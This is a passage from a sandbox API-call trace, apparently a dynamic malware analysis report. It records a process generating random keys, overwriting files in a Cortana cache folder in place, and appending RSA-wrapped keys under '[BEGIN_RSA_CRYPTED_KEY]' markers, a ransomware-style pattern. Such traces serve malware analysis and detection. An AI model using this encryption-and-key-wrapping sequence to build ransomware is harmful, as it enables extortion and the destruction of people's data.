lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.993] CloseHandle (hObject=0x1afc) returned 1 [0245.995] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6A43E66-7B5A-4590-A7F3-A33D6F9781A8}", dwFileAttributes=0x80) returned 1 [0245.996] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6A43E66-7B5A-4590-A7F3-A33D6F9781A8}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c6a43e66-7b5a-4590-a7f3-a33d6f9781a8}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.996] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.996] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.997] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.997] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.998] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.998] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.998] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.998] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6fiP/W4y/hJdIfp/TmUFZAg1JilCQrdEWS4HFcznGUMnS7+eqdCNnvmU80ySwyBt\ntRqTHYLPe2gBlsF8Hkd1FtlF6nYyw/7/mhQDY55qPVsVedztLHpOo1+ki/rL1hz6\nVYEExzHUE75Rf2x3Mp4iH/mCO17SnPwF4JnAJtRHeTqtfRLuPfGvx66hcODgHkvt\nvSrY5rSt1IDHFv6cw9zaCYone9D7kEMad0f3bq09ukq3yOh8Vws9jvVmBNv4G08t\nHkdxdLWD/0FuWEYyx49MM4rhJnD9ejuaydKqOvjqLME0e1fpwQ1NvxMpOIi4B59L\nLMNOzczOzjFB3aPl/uGPSw==\n", pcchString=0x2e3f9a8) returned 1 [0245.998] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.998] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.999] CloseHandle (hObject=0x1afc) returned 1 [0246.002] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.002] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4F78A21-2302-4CAA-90BC-87DB6FAE5D46}", dwFileAttributes=0x80) returned 1 [0246.002] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4F78A21-2302-4CAA-90BC-87DB6FAE5D46}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c4f78a21-2302-4caa-90bc-87db6fae5d46}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.003] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.003] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.045] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.045] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.045] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.046] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.046] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.046] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.046] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rShC3O5aBzhhMRjeLIYPSx+FHQExwhZ3zzFRrHqVVvUnOnUjmbBiVOFYn8nI2cnD\n87hq4nLBUBhwrv9Df6Iyh/LDsUFbn9PmxKCStkDbk/Wft7xdXYqBGoo5z+6Yh6Vt\nxy+J5lLi4gCAFJT7xZbQtaoin/Q377aIGJ4HWnhV8VQ/0o/CXWBpi7arevMvAv7q\nOlC39/fudzqJAdtlK8DNEXfiPwZUo2E9+N4K2XuRgUUcPqYy4vaT3NU/pj5vkAEp\nFfUUMom0RXYoVfH2G8WG7KTP47XLBX/Q0R8zET65JsRI/wbtL3GqnQN2OIOgN6TR\niC6AqJ46GxhcAEbMr19qmg==\n", pcchString=0x2e3f9a8) returned 1 [0246.046] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.046] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.046] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.047] CloseHandle (hObject=0x1afc) returned 1 [0246.048] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.048] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4D5AE10-76AF-425B-81AA-7AEED53BF3F7}", dwFileAttributes=0x80) returned 1 [0246.049] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4D5AE10-76AF-425B-81AA-7AEED53BF3F7}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c4d5ae10-76af-425b-81aa-7aeed53bf3f7}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.050] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.050] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.051] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.051] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.051] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.052] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.052] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.052] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.052] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.052] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.052] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="v9IxFFwJi0lrLHVIRe4LGa3y2njNLK2ZiUQH5CUqPZ6HdZOWa2W9HjUoZQZZTmsB\nNOVPxzlEJaCLDnoGpjMtnI5HVfOJlf5F7aIRCIcQzWwmxS/82YvV1Mg8QpdPVzGY\nFF0q+oE7T3GujSegEgnMG9R1idaw5hzYyaW3Lecgm6biins3vKgKaVxyPKNhGsLq\n6LRDp3ZCUKafyZuOImAJEynSZE7GvbSBOiK8EFXFJm6qjmL5Snzv5F0d4Mwde700\nFgmM1i/d1lWn3UQjbOcbpEEXTYa20UeF1AJ6/d0ravXv0abVnWkZn+gpLJ//jIjC\n2JRsAx5rgkCZ0s7gYpKnYQ==\n", pcchString=0x2e3f9a8) returned 1 [0246.052] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.052] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.052] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.053] CloseHandle (hObject=0x1afc) returned 1 [0246.054] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.054] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{BCEB7AFA-8A96-4EE0-A2DF-1A462F84C0B8}", dwFileAttributes=0x80) returned 1 [0246.055] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{BCEB7AFA-8A96-4EE0-A2DF-1A462F84C0B8}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{bceb7afa-8a96-4ee0-a2df-1a462f84c0b8}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.055] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.056] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.057] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.057] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.057] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.057] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.057] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.058] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.058] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.058] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.058] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vEBXcWCrj8X3JGphENEAksP5cbY318s10qUaOgwLLK7nfU16vhq01Z/y3p9MRH1E\npbu0DUWgZmVxuadO+5Fabhj/hWTbb0ZWMIdh1AP2S4u9R4fY6J45Z4kVGS7Vt4/d\n8zOQY2eJauN8XLuyjExS0bNJ0pvX6sqKs+VjuyYe0gTuAjCdnCuNw1DoTGADhhbv\noxR55x4xfpIGGMFjwzK05245Uj4OwRsMA6EzU1XXNKfGw7s6Uel+kOaQhfDCVuj8\nOwCxDqaVDZfD2q87leJE1aGAvGJw6oc+Q3f75wlv6mavqiZmBPMFQkhhISiR/4cT\nOGKVkQv/L82S+GKpc/ojqA==\n", pcchString=0x2e3f9a8) returned 1 [0246.058] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.058] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.058] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.058] CloseHandle (hObject=0x1afc) returned 1 [0246.060] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.060] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B6A7DF63-99C2-4534-89CF-C0AFC23B90AD}", dwFileAttributes=0x80) returned 1 [0246.061] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B6A7DF63-99C2-4534-89CF-C0AFC23B90AD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{b6a7df63-99c2-4534-89cf-c0afc23b90ad}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.061] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.062] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.063] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.063] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.063] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.063] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.063] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.064] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.064] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.064] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.064] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1QL/+uJu57UDtq4Pu4hpNdbS/ClGlHgi6R95OzE2FjxfAw0SgPlRmUuwwwqm7ZPm\nSrH2VsGuw8UtF9Fqlisx3Wc9x6G4VSJTDaYH3ikP71HCcknDHrGd5hYsLOteC12E\nh09tlc5RcKBMTWftMPB4shwjpKqmT79enskEnPbhctM4I4ys6xfhq6Fn631NSfmL\nJXK9rjLDLlnYzPiG/CbQ1fxH0ZTVwRJ7jSiSNbmUAzRnax2CiMjL9foKsSGsV8qw\nC/emW2SX54SBc1D+6BNOLYLU2qbK9RF40yFEqN+p2UEdpacB1HWy2mumwfKAvWL/\nvwtxZZOuePqT85HnxGNyEw==\n", pcchString=0x2e3f9a8) returned 1 [0246.064] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.064] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.064] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.064] CloseHandle (hObject=0x1afc) returned 1 [0246.066] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.066] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B52F04DA-8153-47B9-A93E-AEAA5CA596FE}", dwFileAttributes=0x80) returned 1 [0246.067] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{B52F04DA-8153-47B9-A93E-AEAA5CA596FE}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{b52f04da-8153-47b9-a93e-aeaa5ca596fe}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.067] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.068] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.069] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.069] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.069] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.069] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.069] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.069] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.069] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 